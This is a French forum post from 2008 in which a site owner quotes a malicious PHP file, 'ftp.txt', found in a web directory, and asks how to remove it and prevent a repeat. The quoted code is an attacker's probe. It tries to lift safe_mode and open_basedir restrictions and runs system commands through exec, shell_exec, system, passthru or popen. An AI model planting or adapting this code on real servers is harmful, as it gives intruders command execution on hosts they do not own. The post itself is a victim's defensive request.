J'ai un gros soucis de sécurité. Un fichier nommé ftp.txt, contenant le code malvaillant suivant à été positionné dans le répertoire /modules/Downloads/screenshots :
- <?php
- if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
- $contrs=0;
- }
- else{
- ini_restore("safe_mode");
- ini_restore("open_basedir");
- if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
- $contrs=0;}
- else{
- $contrs=1;
- }}
- if($contrs == 0){
- echo("FUCKSAFEMODEOFFBYMIC22");
- }else{
- echo("FUCKSAFEMODEONBYMIC22");
- }
- function ex($cfe){
- $res = '';
- if (!empty($cfe)){
- if(function_exists('exec')){
- @exec($cfe,$res);
- $res = join("\n",$res);
- }
- elseif(function_exists('shell_exec')){
- $res = @shell_exec($cfe);
- }
- elseif(function_exists('system')){
- @ob_start();
- @system($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- }
- elseif(function_exists('passthru')){
- @ob_start();
- @passthru($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- }
- elseif(@is_resource($f = @popen($cfe,"r"))){
- $res = "";
- while(!@feof($f)) { $res .= @fread($f,1024); }
- @pclose($f);
- }}
- return $res;
- }
- exit;
Quel traîtement dois-je appliquer à ce problème, et comment m'en protéger dans le futur ?
Merci d'avance pour l'aide !!!
modifié par : zmimi83, 25 Jan 2008 - 11:45




